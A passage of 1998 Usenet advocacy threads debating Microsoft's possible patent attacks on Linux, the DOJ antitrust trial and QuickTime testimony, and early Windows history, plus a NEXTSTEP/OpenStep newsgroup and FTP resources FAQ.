Who would the Big Boy sue? Linus? He could move back to Finland and have
the battle fought out under Finnish law. What about HURD? Here is an
atlernative kernel.
What about emacs, midnight commander, lynx, this, that, and the other thing?
My understanding is that each would require a separate suit. Each author
retains their own copyright, but releases it for use under the GPL; and not
all the authors are resident in the US.
GNU/Linux is out of control!
DON'T PANIC
Phil.
On 7 Nov 1998 07:31:45 GMT, Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
>On Thu, 05 Nov 1998 19:39:26 -0800, John Rudd <jrudd@cygnus.com> wrote:
>:Lets explore the issue a little further..
>:
>:
>:lets say MS finds a patent issue to cause commercial distributors (redhat,
>:caldera, even walnut creek) to cease their linux business.
>
>The actual people who wrote various parts of the kernel or other
>software are quite identifiable. Microsoft could personally sue them
>and probably ruin many of them, and get a restraining order preventing
>them from doing any more work with the infringing software.
*Cut*
--
Philip Charles. My home page:- http://crash.ihug.co.nz/~philipc
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <364521d7.0@news.depaul.edu>
Date: 8 Nov 98 04:45:11 GMT
In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> On 6 Nov 1998 06:16:54 GMT, Don Yacktman <don@misckit.com> wrote:
> :This scenario of legal annhilation *could* put a huge dent in the Linux
> :momentum since it could very quickly curtail commercial vendors' support for
> :Linux. That would be a real shame. If MS tried it right now, though, it
> :would sink their case before the DOJ, so let's get a move on before they get
> :a chance. Crank up the momentum! :-)
> If this were to happen, I would lobby my Congress members for
> legislation to nullify Microsoft's patents. Unfortunately that may be
> an unconstitutional bill of attainder.
The problem is it wouldn't just be Microsoft's patents being
violated. If Microsoft goes after Linux for patent violations,
other patent violations would likely be brought to light, and
their holders would join Microsoft in or file their own cases.
Woe to Linux if they use a patent which is held by one of the
outfits which exist only to license a portfolio of patents.
> People say that the old IBM anti-trust case was dropped because it was
> a bad case. No: the DOJ was on the verge of victory--it was dropped
> because of the ideology of the Reagan administration. Justice is a
> branch of the executive.
Besides, it didn't really matter. IBM was already under court-ordered
restrictions which weren't dropped until just a few years ago. I can't
think of any acquisitions IBM made until 1995, after that old consent
decree from the 50's was cut down. Afterwards, they bought Lotus and
at least one other company. If they hadn't been under those restrictions,
I wonder if they would have bought Microsoft and Compaq back in the
80's? (I mean really, why would *IBM* have deigned to license software
from a spoiled punk like BillG, when they could have bought an OS
outright?)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 07 Nov 1998 20:18:18 -0500
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References: <364295A3.ABE8C927@earthlink.net><36431F72.69E04A89@NOSPAMworldnet.att.net><yl3u30ch3rl.fsf@shell8.ba.best.com><19981106200355201439@pm2-2-04.aug.com>
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nojunkhattonr@aug.com (Rick) wrote:
>There is the possibility that MS can be broken up into distinct
>companies, complete with different boards. That might dent their
>dominance.
Why?
Ziya Oz
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sun, 08 Nov 1998 04:40:44 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <7233s6$1v0$1@pascal.a2000.nl>
References: <364295A3.ABE8C927@earthlink.net>
<jpolaski-0611981014460001@d149-220.ce.mediaone.net>
<ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>
<atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>
<petrichF21FxH.3I4@netcom.com>
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<720s05$t5@dfw-ixnews3.ix.netcom.com>
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In article <720s05$t5@dfw-ixnews3.ix.netcom.com> , "Robert Fovell"
<rfovell@yahoo.com> wrote:
>Windows 1.0 wasn't delivered until sometime in 1985, actually, and Windows
>2.0 followed in 1988. Windows 3.0 and 3.1 followed in early 1990 and
early
>1992, respectively. The rest, as they say, is history. I also now do not
>recall knowing anyone who used any version of Windows prior to 3.1, tho
I've
>seen screenshots of those earlier versions.
A friend of mine used to brag how his Windows 2.0 (on a 286) was superior to
my Atari's GEM (on the 8Mhz venerable 68k). Actually, he used to claim that
DOS was better than graphics alltogether ("it's faster"). His presentation
of Windows 2.0 aimed to demonstrate that, while he had a GUI at his
disposal, he preferred to use DOS. The picture on his screen, which in
retrospect vaguely resembled "Norton Commander", made me sympathize.
Basically there were text lists of files and you could use the mouse to
click on text and do things to the files. I never managed to convince him of
the merits of a GUI like on the Mac and Atari (to a lesser extent the Amiga
at that time). But seeing how he was demonstrating Windows, painstakingly
moving the mouse (an orange text cursor), clicking on stuff and then working
at the keyboard, meanwhile talking how much easier all this stuff was under
DOS, trying to prove that my preference for GUI's was ill-guided, to me his
opinion just seemed to make perfect sense. This man had the worst GUI in the
world at his disposal and was trying to show me how it actually obfuscated
stuff instead of making it easier. In his own way, he was trying to save the
world the Windows horror. Only his efforts were misdirected.
After much futzing around he started Telix, the telecommunications program.
When it had loaded, he stressed one last time how a GUI was no use because
Telix looked and behaved the same way under DOS and under Windows. Of course
that was a ridiculous statement but I chose to ignore it in favour of
letting him explain to me the deal with BBS'ses and modems. We chatted a bit
about his 1200bps modem and I left. Despite everything, it was an
interesting visit because shortly thereafter, I got my own modem. And I had
all the glory of online games on a jittery screen in eye-yerking 640x200x4
resolution. Really many man have their holy wars and it is easy to see how
they are wrong. But why are they right? And what do they do that makes them
fight in the first place.
I guess in ten years time, 'Windows 98' and 'Mac OS X' will sound quaint and
ill-distinguished as Windows 2.0 and GEM. So what really matters in the
platform wars.
Pascal.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 8 Nov 1998 03:25:24 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0711982224460001@pm54-30.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Let's see...MS pays Sun millions of dollars a year for a Java license
> and Sun turns around and threatens to rescind the license and sues MS
> for $35 million. And you wonder why MS might not be in love with
> Java...:)
Because Sun had the gall to expect Microsoft to follow the terms they
agreed to when they signed that license?
The BASTARDS!!!
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 7 Nov 1998 18:22:20 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981107182220271838@pm2-2-23.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> It's damning, all right. Trevanian came off sounding like the world's
> most pathetic whiner. "The baby", indeed. As though Quicktime has ever
> represented substantial income to Apple. What? Apple gives Quicktime
> away? Fancy that....:) DOJ needs to put an end to that practice
> immediately because as we all know consumers never benefit from
> companies who provide freeware, do they?....:)
You need to reread the testimony... Avie mrely repeated.... the quotes
"... so you want us to knife the baby? Yes, knife the baby "were made by
Apple and M$ reps in the infamous kill Quickitme meetings.
--
Remove nojunk from my email address to reply by email.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <2557909896420@digifix.com>
Date: 8 Nov 1998 04:46:29 GMT
Organization: Digital Fix Development
Message-ID: <1620910501225@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 7 Nov 1998 21:12:15 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981107211215885344@pm2-2-23.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36431F72.69E04A89@NOSPAMworldnet.att.net> <yl3u30ch3rl.fsf@shell8.ba.best.com> <19981106200355201439@pm2-2-04.aug.com> <722rgo$qa2$1@oak.prod.itd.earthlink.net>
Ziya Oz <ZiyaOz@earthlink.net> wrote:
> nojunkhattonr@aug.com (Rick) wrote:
>
> >There is the possibility that MS can be broken up into distinct
> >companies, complete with different boards. That might dent their
> >dominance.
>
> Why?
>
> Ziya Oz
IfMicro$osft was properly broken up, and the differnet compaaines could
share information, like the departments do now, they would have to
compete on the merits of their products... somethng M$ doesnt do now.
--
Remove nojunk from my email address to reply by email.
Message-ID: <364540B2.8CA03EEA@earthling.net>
From: WORLOK <worlok@earthling.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sun, 08 Nov 1998 01:54:36 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 08 Nov 1998 01:56:50 -0500
Don't trash all of the Republicans. Remember Orin Hatch (R-Ut)?? He is
one of the most powerfule US Senators, and he is a Republican. He is
spearheading the anti-MS stuff on Capitol Hill, and Caldera and I think
Novell are in his state. Write his office emails of support! I did. I
even emailed the Halloween documents to his and the DOJ's email
addresses. Just imagine if they were flooded. What a statement.
--_Tom
Matt Kennel wrote:
>
> On 6 Nov 1998 06:16:54 GMT, Don Yacktman <don@misckit.com> wrote:
> :This scenario of legal annhilation *could* put a huge dent in the Linux
> :momentum since it could very quickly curtail commercial vendors' support for
> :Linux. That would be a real shame. If MS tried it right now, though, it
> :would sink their case before the DOJ, so let's get a move on before they get
> :a chance. Crank up the momentum! :-)
>
> If this were to happen, I would lobby my Congress members for
> legislation to nullify Microsoft's patents. Unfortunately that may be
> an unconstitutional bill of attainder.
>
> If MSFT is put under a court's jurisdiction (a la AT&T breakup) should
> it lose the case, then this court might have the power to nullify the
> relevant patents or stop Microsoft's litigation with them.
>
> If Microsoft wins, and they are feeling vindictive, heaven knows what
> would happen.
>
> What's most alarming to me is the fact that since 1992 or so Microsoft
> has *known* that it has attracted the eye of the DOJ, and nevertheless
> persisted in all sorts of undesirable practices.
>
> Just think:
>
> "What would they do, wholly unrestrained after a court victory?
>
> This is important: If you believe in Free Software, you ought not vote
> Republican in any national United States election. (MSFT has recently
> hired Dick Armey's former aide, and the former chairman of the
> Republican National committee as lobbyists. Wonder if that's Newt's
> next job?)
>
> People say that the old IBM anti-trust case was dropped because it was
> a bad case. No: the DOJ was on the verge of victory--it was dropped
> because of the ideology of the Reagan administration. Justice is a
> branch of the executive.
>
> --
> * Matthew B. Kennel/Institute for Nonlinear Science, UCSD
> *
> * "To chill, or to pop a cap in my dome, whoomp! there it is."
> * Hamlet, Fresh Prince of Denmark.
--
Windows NT has crashed,
I am the Blue Screen of Death,
No one hears your screams...
==============================
From: "Poison Ivan" <poisoniv1@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 7 Nov 1998 21:03:21 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <7238pi$7nq$1@usenet46.supernews.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <72240n$r9a@sea.waterw.com>
James L. Ryan wrote in message <72240n$r9a@sea.waterw.com>...
>This version of Windows was designed by a fellow who was known in
>much of the computing world as "Dr. Tiles" (I can no longer remember his
>real name) due to his vehement insistance that overlapping windows were not
>the way to go and presented the user with what he, Dr. Tiles, considered an
>unusable interface.
You probably mean Scott McGreggor (sp?)
From: c.c.eiftj@47.usenet.us.com (Rahul Dhesi)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 9 Nov 1998 12:10:22 GMT
Organization: a2i network
Message-ID: <726m3e$cve$1@samba.rahul.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org> <72558i$46l$1@samba.rahul.net> <3646A341.3AEEE7A4@ix.netcom.com>
NNTP-Posting-User: dhesi
In <3646A341.3AEEE7A4@ix.netcom.com> "Karsten M. Self"
<kmself@ix.netcom.com> writes:
>> Programmer reverse-engineers Microsoft software. Finds an unpublished
>> idea essential to Microsoft software. Gets patent claiming to be
>> inventor.
>Now *that* introduces all sorts of interesting possibilities. Suppose a
>non-US based Linux development team were to aquire undocumented
>Microsoft APIs which are unpublished and unpatented, from a hypothetical
>disgruntled former MS employee (options under water?). Foreign patents
>are filed on the work. Much international litigation follows.
It would have to be an individual. Team members might betray one
another, leading to possibly criminal charges. If an individual did it
there would be no way to prove that he got the idea through reverse
engineering.
--
Rahul Dhesi <dhesi@spams.r.us.com>
From: "Steven M. Scharf" <scharf@grin.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 9 Nov 1998 07:24:11 -0800
Organization: newsread.com ISP News Reading Service (http://www.newsread.com)
Message-ID: <7271ia$a28@netaxs.com>
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com><1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca> <721abe$1hm@netaxs.com> <722qu7$prf$1@oak.prod.itd.earthlink.net> <look-ya02408000R0811981243050001@news>
Michael J. Stango wrote in message ...
>In article <722qu7$prf$1@oak.prod.itd.earthlink.net>, "Ziya Oz"
><ZiyaOz@earthlink.net> wrote:
>
>>"Steven M. Scharf" <scharf@grin.net> wrote:
>>
>>>I thought it was totally crass of Microsoft when they tried to
>>>co-opt the 'Palm' name and call the PDAs with WinCE, Palm PCs.
>>
>>No one cares!
>
>Wrong, the courts did, and forced M$ to change their
>designed-to-confuse-the-consumer-into-buying-our-crappy-PDA-when-they-reall
y-
>want-a-Pilot product nomenclature.
Again, the courts never got the case, Microsoft agreed to not do it.
Microsoft always
seems to work out something to avoid going to court.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 9 Nov 1998 19:41:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <727ggt$mba@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com>
On Sun, 08 Nov 1998 19:35:18 -0500, Andy Walton <atticus@mindspring.com> wrote:
>In article <36462729.BDFBC1C0@spamtoNull.com>, Jonathan Harker
><Limeyville@spamtoNull.com> wrote:
> :How could you miss the point? "Quicktime" is not now nor has ever been a
> :large revenue producer for Apple. Apple has *given it away* FREE for
> :years.
>They give away client software -- unless I'm mistaken, if you want to
>publish QuickTime authoring software, you must pay Apple a licensing fee
>per copy. It may be the same for CD-ROM titles featuring QuickTime movies.
They also sell a "Pro" version of the software. It is also subject to
licensing by 3rd parties at a higher fee.
I doubt that QT _hasn't_ had a positive effect on Apple's bottom line. At
the very least, it has provided Apple with a solid platform for 3rd parties
to build content creation Apps on the Mac. And Apple has publicly stated
that they consider content creation to be an important market for Apple
products.
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 19:50:38 GMT
Organization: Monmouth Internet
Message-ID: <36474763.411112238@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net>
tzs@halcyon.com (Tim Smith) wrote:
>Actually, IBM told Gates that DR wouldn't talk to them, after Gates sent IBM
>to DR, and suggested that it would be a very good idea if Gates added an OS
>to the proposed software that MS would develop, if Gates didn't want to see
>the PC project canceled. That's when Gates went looking and found QDOS at
>Seattle Computer.
That's not the way that it's been documented..
Wilbur
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 9 Nov 1998 15:55:04 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <727kst$rj6@shelob.afs.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com>
Wilbur Streett wrote in message <36474763.411112238@news.monmouth.com>...
>tzs@halcyon.com (Tim Smith) wrote:
>
>>Actually, IBM told Gates that DR wouldn't talk to them, after Gates sent
IBM
>>to DR, and suggested that it would be a very good idea if Gates added an
OS
>>to the proposed software that MS would develop, if Gates didn't want to
see
>>the PC project canceled. That's when Gates went looking and found QDOS at
>>Seattle Computer.
>
>That's not the way that it's been documented.
I dunno. That's basically the way Robert Cringely tells the story in Revenge
of the Nerds. He even takes a camera to the hourse where Kildall refused to
meet with the representatives of IBM who were in town visiting Gates.
Greg
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
Message-ID: <364758a0.0@news.depaul.edu>
Date: 9 Nov 98 21:03:28 GMT
In comp.sys.next.advocacy Ryurick M. Hristev <physrmh@phys.canterbury.ac.nz> wrote:
> At worst the development will move in other countries with better
> advised legislators.
But adoption and support by companies will be slowed significantly.
<snip>
> On the final note: I don't think MS have many Unix related "software patents"
> and they've managed to piss off too many others. Did anybody have done
> any research in this area ?
Software patents aren't OS-specific. They're lower-level than that,
concerning algorithms, methods for doing things, etc. Remember the
GIF patent issue, or the current MP3 patent issue? They aren't
OS-specific.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 10 Nov 1998 01:22:39 +0000
Message-ID: <1di928a.bei3vb12035fjN@quern.demon.co.uk>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <721o9r$gd7$1@supernews.com> <1di6fpk.1poiic61cpp6yoN@quern.demon.co.uk> <look-ya02408000R0811981301240001@news>
User-Agent: MacSOUP/2.4b3
Michael J. Stango <look@my.sig> wrote:
